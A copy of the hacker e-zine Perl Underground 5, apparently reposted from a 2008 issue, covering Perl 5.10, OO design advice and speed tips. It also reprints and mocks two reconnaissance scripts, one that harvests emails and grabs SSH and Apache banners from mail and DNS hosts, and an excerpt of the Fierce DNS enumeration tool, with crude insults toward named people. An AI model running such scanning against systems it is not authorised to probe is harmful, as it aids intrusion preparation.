· 9 years ago · Oct 10, 2016, 07:44 PM
1 $$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$ $$$$ %%%%%%%%
2 X x $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ %%%%%%%%
3 x H H $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ %%
4 H H H x $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ %%
5 H H H H $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ %%%%%
6 H H H H $$$$$$$$$$$ $$$$$$$ $$$$$$$$$$$ $$$$ %%%%% %
7 X HHHHHHHHH $$$$$$$$$$ $$$$ $$$$$$$$$$ $$$$ %%
8 H HHHHHHHHH $$$$ $$$$ $$$$ $$$$ $$$$ %% %%
9 HHHHHHHHHH $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ %% %%%
10 HHHHHHH $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ %%%%
11 %%%%%
12
13 $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$ %% %%
14 $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$ %% %%
15 $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ %% %%
16 $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ %%%
17 $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$
18 $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$$$$$$$$$ %%%%%%%
19 $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ %% %%
20 $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ %%%%%%%
21 $$$$$$$$$$$$$ $$$$ $$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ %%
22 $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ %%%%%%%
23
24
25 $$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
26 $$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$$
27 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$
28 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$
29 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
30 $$$$ $$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
31 $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$
32 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$
33 $$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$$ $$$$$$$$$$$$
34 $$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
35
36That's five, kids.
37
38[root@yourbox.anywhere]$ date
39Sat Mar 1 18:22:16 EST 2008
40
41[root@yourbox.anywhere]$ perl game-on.pl
42
43Initiating...
44
45Dumping...
46
47$TOC[0x01] = rant( Intro => q{ What it's all about } );
48$TOC[0x02] = school( PHC => q{ trix are for kids } );
49$TOC[0x03] = school_you( Damian => q{ Damian on when to use OO } );
50$TOC[0x04] = rant( Perl_5_10 => q{ It's here! } );
51$TOC[0x05] = school( RS_IceShaman => q{ Web hax0rs combined their "skills" } );
52$TOC[0x06] = school_you( nwclark => q{ Nicolas Clark on speed, old school } );
53$TOC[0x07] = school( n00b => q{ The nick says it all } );
54$TOC[0x08] = school_you( merlyn => q{ Batman uses Scalar::Util and List::Util } );
55$TOC[0x09] = school( ilja => q{ He poked his nose out again } );
56$TOC[0x0A] = school_you( LR => q{ Higher-Order Functions } );
57$TOC[0x0B] = rant( Intermission => q{ Laugh it up } );
58$TOC[0x0C] = school( kokanin => q{ PU5 goes retro, have you noticed? } );
59$TOC[0x0D] = school_you( broquaint => q{ Closure on Closures } );
60$TOC[0x0E] = school( str0ke => q{ And of course str0ke contributed a piece } );
61$TOC[0x0F] = school_you( Abigail => q{ Abigail's points on style } );
62$TOC[0x10] = school( h4cky0u => q{ If only they could code } );
63$TOC[0x11] = rant( Advocacy => q{ Perl rocks, no doubt. } );
64$TOC[0x12] = school_you( Roy_Johnson => q{ Iterators and recursion } );
65$TOC[0x13] = school( Gumbie => q{ Whatever makes him sleep at night } );
66$TOC[0x14] = school_you( grinder => q{ grinder talks about 5.10 } );
67$TOC[0x15] = rant( Reading => q{ Your reading list for this week } );
68$TOC[0x16] = school( hessamx => q{ We are critical of friend and fan } );
69$TOC[0x17] = school_you( Ovid => q{ Ovid's OO points } );
70$TOC[0x18] = school( tssci => q{ Some noobs who provide "security" } );
71$TOC[0x19] = rant( Outro => q{ All good things come to an end } );
72
73Schooling...
74
75
76-[0x01] # Welcome back to the show ---------------------------------------
77
78The official theme of Perl Underground 5 is the highly-anticipated, recently-released,
79Perl 5.10. This theme is more in spirit than in quantity: we have only a couple of
80articles on the topic.
81
82Besides that, we bring to you all the exciting Perl material that you can handle. We
83have impressive collections of bad code to create lessons from, and educational pieces
84by (mostly) established Perl experts.
85
86Let's get this party started.
87
88
89-[0x02] # PHC: Had better stuff to not publish ---------------------------
90
91#!/usr/bin/perl
92# usage: own-kyx.pl narc1.txt
93#
94# this TEAM #PHRACK script will extract the email addresses
95# out of the narc*.txt files, enumerate the primary MX and NS
96# for each domain, and grab the SSHD and APACHE server version
97# from each of these hosts (if possible).
98#
99# For educational purposes only. Do not use.
100
101# lawl this is old shit (but not past the statute of limitations)
102# lets rag on old "TEAM #PHRACK"
103
104# strict and warnings bitch
105use IO::Socket;
106
107# lawl you could just do @ARGV or die "...";
108if ($#ARGV<0) {die "you didn't supply a filename\n";}
109$nrq =$ARGV[0];
110# or my $nrq = shift or die "...";
111
112# this is probably the dirty way to do it, you could whitelist
113# with more accuracy and ease
114# look up qr// plzkthnx
115$msearch = '([^":\s<>()/;]*@[^":\s<>()/;\.]*.[^":\s<>()/;]*)';
116
117# very lame. use a lexical filehandle, specify the open method,
118# don't quote the variable
119open (INF, "$nrq") or die $!;
120
121# //i is unnecessary, so is //g, and you could do this without
122# $&, let alone quoting it, and this is really the gross way to
123# do it in general
124while(<INF>){
125 if (m,$msearch,ig){push(@targets, "$&");}
126 }
127
128close INF;
129
130# plus you can do this while you read the file, not read it all
131# first
132foreach $victim (@targets) {
133 print "=====\t$victim \t=====\n";
134 my ($lusr, $domn) = split(/@/, $victim);
135 $smtphost = `host -tMX $domn |cut -d\" \" -f7 | head -1`;
136# whats with random trailers? //e not even used here, you have
137# an empty replacement! dumbfucks
138 $smtphost =~ s/[\r\n]+$//ge;
139 print ":: Primary MX located at $smtphost\n";
140 sshcheq($smtphost);
141 apachecheq($smtphost);
142 $nshost = `host -tNS $domn |cut -d\" \" -f4 | head -1`;
143# //e again? wtf?
144 $nshost =~ s/[\r\n]+$//ge;
145 sleep(3);
146 print ":: Primary NS located at $nshost\n";
147 sshcheq($nshost);
148 apachecheq($nshost);
149 print "\n\n";
150# parens everywhere
151 sleep(3);
152
153}
154
155sub sshcheq {
156# I think someone is confused about where his paren is supposed to go!
157 (my $sshost) = @_;
158 print ":: Testing $sshost for sshd version\n";
159# not a single good variable name in this script
160 $g = inet_aton($sshost); my $prot = 22;
161 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')) or die "$!\n";
162 if(connect(S,pack "SnA4x8",2,$prot,$g)) {
163# omg this line isn't too bad
164 my @in;
165 select(S); $|=1; print "\n";
166 while(<S>){ push @in, $_;}
167# @in = <S>; # lawl
168# Parse while reading the file
169 select(STDOUT); close(S);
170# man this is old school..
171 foreach $res (@in) {
172 if ($res =~ /SSH/) {
173# MOST COMPLEX YOUR PROGRAM IS
174 chomp $res; print ":: SSHD version - $res\n";
175 }
176 }
177 } else { return 0; } # coulda done this first and saved some
178 # in-den-tation
179}
180
181# same shit different subroutine, maybe you could have made them into one
182# with a pair of parameters HMM?
183sub apachecheq {
184 (my $whost) = @_;
185 print ":: Testing $whost for Apache version\n";
186 $g = inet_aton($whost); my $prot = 80;
187 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')) or die "$!\n";
188 if(connect(S,pack "SnA4x8",2,$prot,$g)) {
189 my @in;
190 select(S); $|=1; print "HEAD / HTTP/1.0\r\n\r\n";
191 while(<S>){ push @in, $_;}
192 select(STDOUT); close(S);
193 foreach $res (@in) {
194 if ($res =~ /ache/) {
195 chomp $res; print ":: HTTPD version - $res\n";
196 }
197 }
198 } else { return 0; }
199}
200
201
202-[0x03] # Damian Conway's 10 considerations about using OO ---------------
203
204On Saturday, June 23rd, Damian Conway had a little free-for-all workshop
205that he gave at College of DuPage in Wheaton, IL. Although the whole day
206was fascinating, the most useful part for me was his discussion of ``Ten
207criteria for knowing when to use object-oriented design''. Apparently,
208Damian was once a member of Spinal Tap, because his list goes to eleven.
209
210Damian said that this list, in expanded form, is going to be part of the
211standard Perl distribution soon.
212
213- Design is large, or is likely to become large
214
215- When data is aggregated into obvious structures, especially if there's a
216 lot of data in each aggregate
217 For instance, an IP address is not a good candidate: There's only 4 bytes
218 of information related to an IP address. An immigrant going through
219 customs has a lot of data related to him, such as name, country of origin,
220 luggage carried, destination, etc.
221
222- When types of data form a natural hierarchy that lets us use inheritance.
223 Inheritance is one of the most powerful feature of OO, and the ability to
224 use it is a flag.
225
226- When operations on data varies on data type
227 GIFs and JPGs might have their cropping done differently, even though
228 they're both graphics.
229
230- When it's likely you'll have to add data types later
231 OO gives you the room to expand in the future.
232
233- When interactions between data is best shown by operators
234 Some relations are best shown by using operators, which can be overloaded.
235
236- When implementation of components is likely to change, especially in the
237 same program
238
239- When the system design is already object-oriented
240
241- When huge numbers of clients use your code
242 If your code will be distributed to others who will use it, a standard
243 interface will make maintenence and safety easier.
244
245- When you have a piece of data on which many different operations are
246 applied
247 Graphics images, for instance, might be blurred, cropped, rotated, and
248 adjusted.
249
250- When the kinds of operations have standard names (check, process, etc)
251 Objects allow you to have a DB::check, ISBN::check, Shape::check, etc
252 without having conflicts between the types of check.
253
254
255-[0x04] # Perl 5.10 has arrived ------------------------------------------
256
257First, allow us to explain Perl versions, so you understand just what this
258means. Note, especially, that Perl 5.10 is not Perl 5.1, it's Perl 5.10,
259which comes after Perl 5.9. It's not Perl 6, it's the latest continuation
260of the Perl 5 language. Perl 6 is still coming.
261
262Major releases:
263
264Perl 1 was released in December 1987.
265Perl 2 was released in June 1988.
266Perl 3 was released in October 1989.
267Perl 4 was released in March 1991.
268Perl 5 (excluding alpha/beta/gamma releases) was released in October 1994.
269
270Now, at this point it might seem weird that Perl jumped four versions in
271seven years, yet in the 14 since then it has not moved on. Partially, it
272has, Perl 6 has been (roughly) specified and implemented. But it isn't
273quite *here*, for various reasons.
274
275Secondly, jumping major versions for reasons such as publishing a book
276seems a bit silly, so they do not do it anymore. Perl 5 introduced a
277different way of versioning advances in Perl.
278
279Thirdly, Perl is more stable and mature now, the rate of growth has slowed.
280
281Perl 5.004 was released in May 1997.
282Perl 5.005 was released in July 1998.
283Perl 5.6 was released in March 2000. There was no Perl 5.2 or 5.4.
284Perl 5.8 was released in July 2002.
285Perl 5.10 has now been released, on December 18, 2007, 20 years to the day
286after Perl 1.
287
288That's one long story! The story is that now even decimals represent stable
289releases, while odd ones (5.9) represent the working development version.
290See perlhist for much more detail.
291
292Perl 5.10 is a big deal. We have been using Perl 5.8 for six years now.
293
294Like any other Perl release, 5.10 has brought some things that will change
295how we code Perl. It also brought some things that won't do that, and some
296things that we might think better of in a few years.
297
298Here are a few of the good ones that you're likely to see.
299
300say(). say() is like Ruby puts(), or Python print(), or Perl 6 say(), etc.
301All it is is a print with a newline. It'll definitely be less of a pain in
302the ass than print and a \n, and looks cleaner.
303
304The defined-or operator. Sometimes you want to set something to a value,
305like a configuration value, but also have a default. You can't always do:
306my $flag = $conf{flag} || $default;, because what if $conf{flag} is
307explicably set to 0? So you end up doing: my $flag = defined $conf{flag} ?
308$conf{flag} : $default;. Here's the new way: my $flag = $conf{flag} //
309$default;
310
311Lexical $_. Instead of being worried about clobbering $_, we can create
312a lexical version and all is good, leading to shorter syntax.
313
314State variables. This is something we should have had a long time ago.
315They are similar in concept to C static variables. Better than using a
316closure (which has also improved in Perl 5.10), usually.
317
318The notorious given statement: Perl finally has a switch statement. Kind
319of. Take a look, the syntax is kind of a hassle and will make you wonder
320why you aren't just using if blocks. Until you read how it uses smart
321matching. The naming is smartly in-tune with the linguistic character of
322Perl.
323
324Last and not least, smart matching!
325
326Possibly the single most pressing change in Perl 5.10 is smart matching.
327Smart matching is just that, you give two operands and Perl compares them
328in a natural way. Gives us a whole new area to be confused in, and to
329create data-dependent runtime bugs.
330
331perlsyn has been updated, and this is the juicy bit:
332
333~~~~~
334
335The behaviour of a smart match depends on what type of thing its arguments
336are. It is always commutative, i.e. $a ~~ $b behaves the same as $b ~~ $a.
337The behaviour is determined by the following table: the first row that
338applies, in either order, determines the match behaviour.
339
340 $a $b Type of Match Implied Matching Code
341 ====== ===== ===================== =============
342 (overloading trumps everything)
343
344 Code[+] Code[+] referential equality $a == $b
345 Any Code[+] scalar sub truth $b->($a)
346
347 Hash Hash hash keys identical [sort keys %$a]~~[sort keys %$b]
348 Hash Array hash slice existence grep {exists $a->{$_}} @$b
349 Hash Regex hash key grep grep /$b/, keys %$a
350 Hash Any hash entry existence exists $a->{$b}
351
352 Array Array arrays are identical[*]
353 Array Regex array grep grep /$b/, @$a
354 Array Num array contains number grep $_ == $b, @$a
355 Array Any array contains string grep $_ eq $b, @$a
356
357 Any undef undefined !defined $a
358 Any Regex pattern match $a =~ /$b/
359 Code() Code() results are equal $a->() eq $b->()
360 Any Code() simple closure truth $b->() # ignoring $a
361 Num numish[!] numeric equality $a == $b
362 Any Str string equality $a eq $b
363 Any Num numeric equality $a == $b
364
365 Any Any string equality $a eq $b
366
367
368 + - this must be a code reference whose prototype (if present) is not ""
369 (subs with a "" prototype are dealt with by the 'Code()' entry lower
370 down)
371 * - that is, each element matches the element of same index in the other
372 array. If a circular reference is found, we fall back to referential
373 equality.
374 ! - either a real number, or a string that looks like a number
375
376The "matching code" doesn't represent the real matching code, of course:
377it's just there to explain the intended meaning. Unlike grep, the smart
378match operator will short-circuit whenever it can.
379
380~~~~
381
382Smart matching is one of those fancy Perl 6 features that some people
383did not want backported to Perl 5. The official PU position is that when
384Perl 6 comes to the show, the world will probably use it, sooner or later.
385But until then, don't hold anything back, Perl 5 is beautiful and we can
386continue to make it better.
387
388More on Perl 5.10 at the end of the zine. If you can't wait, check out
389these pieces right now. Or do it later, but either way, read them. There
390is a lot more than just what we have summarized here.
391
392http://dev.perl.org/perl5/news/2007/perl-5.10.0.html
393http://search.cpan.org/dist/perl-5.10.0/pod/perl5100delta.pod
394
395
396-[0x05] # RSnake is RJoke, and IceShaman isn't much better ---------------
397
398#!/usr/bin/perl
399
400#########################################
401# Fierce v0.9.9 - Beta 03/24/2007
402# By RSnake http://ha.ckers.org/fierce/
403# Threading and additions by IceShaman
404#########################################
405
406# Finally, something with some length to it.. let's do this...
407
408use strict; # Nice, but no warnings?
409use Net::hostent;
410use Net::DNS;
411use IO::Socket;
412use Socket;
413use Getopt::Long; # props.
414
415# command line options
416my $class_c;
417my $delay = 0;
418my $dns;
419my $dns_file;
420my $dns_server;
421my @dns_servers;
422my $filename;
423my $full_output;
424my $help;
425my $http_connect;
426my $nopattern;
427my $range;
428my $search;
429my $suppress;
430my $tcp_timeout;
431my $threads;
432my $traverse;
433my $version;
434my $wide;
435my $wordlist;
436# You know that my() can take a comma seperated list of arguments, right?
437
438
439my @common_cnames;
440my $count_hostnames = 0;
441my @domain_ns;
442my $h;
443my @ip_and_hostname;
444my $logging;
445my %options = ();
446my $res = Net::DNS::Resolver->new;
447my $search_found;
448my %subnets;
449my %tested_names;
450my $this_ip;
451my $version_num = 'Version 0.9.9 - Beta 03/24/2007';
452my $webservers = 0;
453my $wildcard_dns;
454my @wildcards;
455my @zone;
456
457my $count;
458my %known_ips;
459my %known_names;
460my @output;
461my @thread;
462my $thread_support;
463# Wow, nice load of variables there.
464
465# Way to embrace the concept of lexical variables by having 40 of them be
466global
467
468$count = 0; # Why not set it to zero when you declare it?
469
470# ignore all errors while trying to load up thead stuff
471BEGIN {
472 $SIG{__DIE__} = sub { };
473 $SIG{__WARN__} = sub { };
474}
475
476# try and load thread modules, if it works import their functions
477BEGIN {
478 eval {
479 require threads;
480 require threads::shared;
481 require Thread::Queue;
482 $thread_support = 1;
483 };
484 if ($@) { # got errors, no ithreads :(
485 # awww... what a shame... there's always 505threads though
486 $thread_support = 0;
487 } else { #safe to haul in the threadding functions
488 import threads;
489 import threads::shared;
490 import Thread::Queue;
491 }
492}
493
494# turn errors back on
495BEGIN {
496 $SIG{__DIE__} = 'DEFAULT';
497 $SIG{__WARN__} = 'DEFAULT';
498}
499
500# OK really, why did you need three BEGIN blocks?
501# Why not just use() them in the eval, because you catch failure
502# anyways?
503# Do you think your signal catching is actually useful here?
504# We will see more confusion as we go
505
506my $result = GetOptions (
507 'dns=s' => \$dns,
508 'file=s' => \$filename,
509 'suppress' => \$suppress,
510 'help' => \$help,
511 'connect=s' => \$http_connect,
512 'range=s' => \$range,
513 'wide' => \$wide,
514 'delay=i' => \$delay,
515 'dnsfile=s' => \$dns_file,
516 'dnsserver=s' => \$dns_server,
517 'version' => \$version,
518 'search=s' => \$search,
519 'wordlist=s' => \$wordlist,
520 'fulloutput' => \$full_output,
521 'nopattern' => \$nopattern,
522 'tcptimeout=i' => \$tcp_timeout,
523 'traverse=i' => \$traverse,
524 'threads=i' => \$threads,
525 );
526
527help() if $help; # excellent oneliner there
528quit_early($version_num) if $version;
529
530if (!$dns && !$range) { # Try 'not' and 'and'
531 output("You have to use the -dns switch with a domain after it.");
532 quit_early("Type: perl fierce.pl -h for help");
533} elsif ($dns && $dns !~ /[a-z\d.-]\.[a-z]*/i) { # you want + not *
534 output("\n\tUhm, no. \"$dns\" is gimp. A bad domain can mess up your
535day.");
536 quit_early("\tTry again.");
537}
538
539if ($filename && $filename ne '') {
540# If it has a value and if it's not equal to '' eh?
541# Does anyone else see the redundancy there?
542# If it passes the first condition, it will ALWAYS pass the second
543#
544 $logging = 1;
545 if (-e $filename) { # file exists
546 print "File already exists, do you want to overwrite it? [Y|N] ";
547 chomp(my $overwrite = <STDIN>);
548 if ($overwrite eq 'y' || $overwrite eq 'Y') {
549 open FILE, '>', $filename
550 or quit_early("Having trouble opening $filename anyway");
551# nice. a 3 arg open and a good use of an 'or' !
552 } else { # Your paren style sucks.
553 quit_early('Okay, giving up');
554 }
555 } else {
556 open FILE, '>', $filename
557 or quit_early("Having trouble opening $filename");
558 } # man you could have made this cleaner, could have just done a
559# quit_early for a n/N and then open otherwise
560 output('Now logging to ' . $filename);
561}
562
563if ($http_connect) {
564 unless (-e $http_connect) {
565 open (HEADERS, "$http_connect") # Why'd you quote the scalar here, but
566 # not above? And don't you know about
567 # the security risks of using open()
568 # like this
569 or quit_early("Having trouble opening $http_connect");
570 close HEADERS; # uh... open... and close... Are you just testing that
571 # you can? -r for that
572 }
573}
574
575# if user doesn't provide a number, they both end up at 0
576quit_early('Your delay tag must be a positive integer')
577 if ($delay && $delay != 0 && $delay !~ /^\d*$/); # Try 'and' instead of
578'&&'. Also, lose the parens.
579# You still don't understand how this works: if the first condition
580# passes, the second ALWAYS will.
581# what you probably think is happening is this:
582# if ( defined $delay && $delay != 0 && $delay !~ /^\d*$/)
583# But it isn't. You're just a noob.
584
585quit_early('Your thread tag must be a positive integer')
586 if ($threads && $threads != 0 && $threads !~ /^\d*$/);
587
588# isn't if ($threads and not $thread_support) pretty smooth to read?
589# smooth like silk
590if ($threads && !$thread_support) {
591 quit_early('Perl is not configured to support ithreads');
592}
593
594if ($dns_file) {
595 open (DNSFILE, '<', $dns_file)
596 or quit_early("Can't open $dns_file");
597 for (<DNSFILE>) {
598 chomp;
599 push @dns_servers, $_; # yucky sucky
600 }
601 if (@dns_servers) {
602 output("Using DNS servers from $dns_file");
603 } else {
604 output("DNS file $dns_file is empty, using default options");
605 }
606}
607
608# OK these guys are just too lame to profile much more of their code
609# We're gonna cut almost all of it out and just point out a few especially
610# funny parts
611
612# lol how about $tcp_timeout ||= 10;
613# or $res->tcp_timeout($tcp_timeout || 10 );
614if ($tcp_timeout) {
615 $res->tcp_timeout($tcp_timeout);
616} else {
617 $res->tcp_timeout(10);
618}
619
620# lawl someone meant > 255! Someone did not test his shitty code!
621 quit_early('The -t flag must contain an integer 0-255') if $traverse <
622255;
623
624# This line here makes those or's look kinda dumb, huh?
625 $wordlist = $wordlist || 'hosts.txt';
626 if (-e $wordlist) {
627 # user provided or default
628 open (WORDLIST, '<', $wordlist) or
629 open (WORDLIST, '<', 'hosts.txt') or
630 quit_early("Can't open $wordlist or the default wordlist");
631
632
633# how about just ++ it? 0 + 1 = 1
634 if ( $subnets{"$bytes[0].$bytes[1].$bytes[2]"} ) {
635 $subnets{"$bytes[0].$bytes[1].$bytes[2]"}++;
636 } else {
637 $subnets{"$bytes[0].$bytes[1].$bytes[2]"} = 1;
638 }
639}
640
641# wasted variables, didn't check if the regex matched, used * instead of +
642 if ($wide) {
643 ($lowest, $highest) = (0, 255);
644 } else { # user provided range
645 if ($octet[3] =~ /(\d*)-(\d*)/) {
646 ($lowest, $highest) = ($1, $2);
647 quit_early("Your range doesn't make sense, try again")
648 }
649
650# WHAT COMPLEX FEATURES YOU LACK
651 #TODO: add port selection and range support
652 my $socket = new IO::Socket::INET (
653 PeerAddr => "$ip_and_hostname[0]",
654 PeerPort => 'http(80)',
655 Timeout => 10,
656 Proto => 'tcp',
657 )
658
659
660# It's just all very silly and stupid. To think that these guys wrote this up,
661# didn't clean it, didn't even test it, and then released it to the world like
662# it was big shit and they were bigger. kids, just keep your shitty code to
663# yourself. Or send it to us for PU+ certification.
664
665# RSnake needs to stick to his nice easy PHP world, where he can be a god
666# among retards. Same for IceShaman and HTS. Neither can play with grown-ups.
667
668
669-[0x06] # Nicolas Clark with some (old) notes on speed -------------------
670
671Nicholas Clark - When perl is not quite fast enough
672
673Introduction
674
675So you have a perl script. And it's too slow. And you want to do something
676about it. This is a talk about what you can do to speed it up, and also
677how you try to avoid the problem in the first place.
678Obvious things
679
680Find better algorithm
681
682Your code runs in the most efficient way that you can think of. But maybe
683someone else looked at the problem from a completely different direction
684and found an algorithm that is 100 times faster. Are you sure you have the
685best algorithm? Do some research.
686
687Throw more hardware at it
688
689If the program doesn't have to run on many machines may be cheaper to
690throw more hardware at it. After all, hardware is supposed to be cheap and
691programmers well paid. Perhaps you can gain performance by tuning your
692hardware better; maybe compiling a custom kernel for your machine will be
693enough.
694
695mod_perl
696
697For a CGI script that I wrote, I found that even after I'd shaved
698everything off it that I could, the server could still only serve 2.5 per
699second. The same server running the same script under mod_perl could serve
70025 per second. That's a factor of 10 speedup for very little effort. And
701if your script isn't suitable for running under mod_perl there's also
702fastcgi (which CGI.pm supports). And if your script isn't a CGI, you could
703look at the persistent perl daemon, package PPerl on CPAN.
704
705Rewrite in C, er C++, sorry Java, I mean C#, oops no ...
706
707Of course, one final "obvious" solution is to re-write your perl program
708in a language that runs as native code, such as C, C++, Java, C# or
709whatever is currently flavour of the month.
710
711But these may not be practical or politically acceptable solutions.
712
713Compromises
714
715So you can compromise.
716
717XS
718
719You may find that 95% of the time is spent in 5% of the code, doing
720something that perl is not that efficient at, such as bit shifting. So you
721could write that bit in C, leave the rest in perl, and glue it together
722with XS. But you'd have to learn XS and the perl API, and that's a lot of
723work.
724
725Inline
726
727Or you could use Inline. If you have to manipulate perl's internals then
728you'll still have to learn perl's API, but if all you need is to call out
729from perl to your pure C code, or someone else's C library then Inline
730makes it easy.
731
732Here's my perl script making a call to a perl function rot32. And here's a
733C function rot32 that takes 2 integers, rotates the first by the second,
734and returns an integer result. That's all you need! And you run it and it
735works.
736 #!/usr/local/bin/perl -w
737 use strict;
738
739 printf "$_:\t%08X\t%08X\n", rot32 (0xdead, $_), rot32 (0xbeef, -$_)
740 foreach (0..31);
741
742 use Inline C => <<'EOC';
743
744 unsigned rot32 (unsigned val, int by) {
745 if (by >= 0)
746 return (val >> by) | (val << (32 - by));
747 return (val << -by) | (val >> (32 + by));
748 }
749 EOC
750 __END__
751 0: 0000DEAD 0000BEEF
752 1: 80006F56 00017DDE
753 2: 400037AB 0002FBBC
754 3: A0001BD5 0005F778
755 4: D0000DEA 000BEEF0
756 ...
757
758Compile your own perl?
759
760Are you running your script on the perl supplied by the OS? Compiling your
761own perl could make your script go faster. For example, when perl is
762compiled with threading, all its internal variables are made thread safe,
763which slows them down a bit. If the perl is threaded, but you don't use
764threads then you're paying that speed hit for no reason. Likewise, you may
765have a better compiler than the OS used. For example, I found that with
766gcc 3.2 some of my C code run 5% faster than with 2.9.5. [One of my
767helpful hecklers in the audience said that he'd seen a 14% speedup, (if I
768remember correctly) and if I remember correctly that was from recompiling
769the perl interpreter itself]
770
771Different perl version?
772
773Try using a different perl version. Different releases of perl are faster
774at different things. If you're using an old perl, try the latest version.
775If you're running the latest version but not using the newer features, try
776an older version.
777
778Banish the demons of stupidity
779
780Are you using the best features of the language?
781
782hashes
783
784There's a Larry Wall quote - Doing linear scans over an associative array
785is like trying to club someone to death with a loaded Uzi.
786
787I trust you're not doing that. But are you keeping your arrays nicely
788sorted so that you can do a binary search? That's fast. But using a hash
789should be faster.
790
791regexps
792
793In languages without regexps you have to write explicit code to parse
794strings. perl has regexps, and re-writing with them may make things 10
795times faster. Even using several with the \G anchor and the /gc flags may
796still be faster.
797 if ( /\G.../gc ) {
798 ...
799 } elsif ( /\G.../gc ) {
800 ...
801 } elsif ( /\G.../gc ) {
802
803pack and unpack
804
805pack and unpack have far too many features to remember. Look at the
806manpage - you may be able to replace entire subroutines with just one
807unpack.
808
809undef
810
811undef. what do I mean undef?
812
813Are you calculating something only to throw it away?
814
815For example the script in the Encode module that compiles character
816conversion tables would print out a warning if it saw the same character
817twice. If you or I build perl we'll just let those build warnings scroll
818off the screen - we don't care - we can't do anything about it. And it
819turned out that keeping track of everything needed to generate those
820warnings was slowing things down considerably. So I added a flag to
821disable that code, and perl 5.8 defaults to use it, so it builds more
822quickly.
823
824Intermission
825
826Various helpful hecklers (most of London.pm who saw the talk (and I'm
827counting David Adler as part of London.pm as he's subscribed to the list))
828wanted me to remind people that you really really don't want to be
829optimising unless you absolutely have to. You're making your code harder
830to maintain, harder to extend, and easier to introduce new bugs into.
831Probably you've done something wrong to get to the point where you need to
832optimise in the first place.
833
834I agree.
835
836Also, I'm not going to change the running order of the slides. There isn't
837a good order to try to describe things in, and some of the ideas that
838follow are actually more "good practice" than optimisation techniques, so
839possibly ought to come before the slides on finding slowness. I'll mark
840what I think are good habits to get into, and once you understand the
841techniques then I'd hope that you'd use them automatically when you first
842write code. That way (hopefully) your code will never be so slow that you
843actually want to do some of the brute force optimising I describe here.
844
845Tests
846
847Must not introduce new bugs
848
849The most important thing when you are optimising existing working code is
850not to introduce new bugs.
851
852Use your full regression tests :-)
853
854For this, you can use your full suite of regression tests. You do have
855one, don't you?
856
857[At this point the audience is supposed to laugh nervously, because I'm
858betting that very few people are in this desirable situation of having
859comprehensive tests written]
860
861Keep a copy of original program
862
863You must keep a copy of your original program. It is your last resort if
864all else fails. Check it into a version control system. Make an off site
865backup. Check that your backup is readable. You mustn't lose it.
866In the end, your ultimate test of whether you've not introduced new bugs
867while optimising is to check that you get identical output from the
868optimised version and the original. (With the optimised version taking
869less time).
870
871What causes slowness
872
873CPU
874
875It's obvious that if you script hogs the CPU for 10 seconds solid, then to
876make it go faster you'll need to reduce the CPU demand.
877
878RAM
879
880A lesser cause of slowness is memory.
881perl trades RAM for speed
882One of the design decisions Larry made for perl was to trade memory for
883speed, choosing algorithms that use more memory to run faster. So perl
884tends to use more memory.
885getting slower (relative to CPU)
886CPUs keep getting faster. Memory is getting faster too. But not as
887quickly. So in relative terms memory is getting slower. [Larry was correct
888to choose to use more memory when he wrote perl5 over 10 years ago.
889However, in the future CPU speed will continue to diverge from RAM speed,
890so it might be an idea to revisit some of the CPU/RAM design trade offs in
891parrot]
892
893memory like a pyramid
894
895You can never have enough memory, and it's never fast enough.
896
897Computer memory is like a pyramid. At the point you have the CPU and its
898registers, which are very small and very fast to access. Then you have 1
899or more levels of cache, which is larger, close by and fast to access.
900Then you have main memory, which is quite large, but further away so
901slower to access. Then at the base you have disk acting as virtual memory,
902which is huge, but very slow.
903
904Now, if your program is swapping out to disk, you'll realise, because the
905OS can tell you that it only took 10 seconds of CPU, but 60 seconds
906elapsed, so you know it spent 50 seconds waiting for disk and that's your
907speed problem. But if your data is big enough to fit in main RAM, but
908doesn't all sit in the cache, then the CPU will keep having to wait for
909data from main RAM. And the OS timers I described count that in the CPU
910time, so it may not be obvious that memory use is actually your problem.
911
912This is the original code for the part of the Encode compiler (enc2xs)
913that generates the warnings on duplicate characters:
914 if (exists $seen{$uch}) {
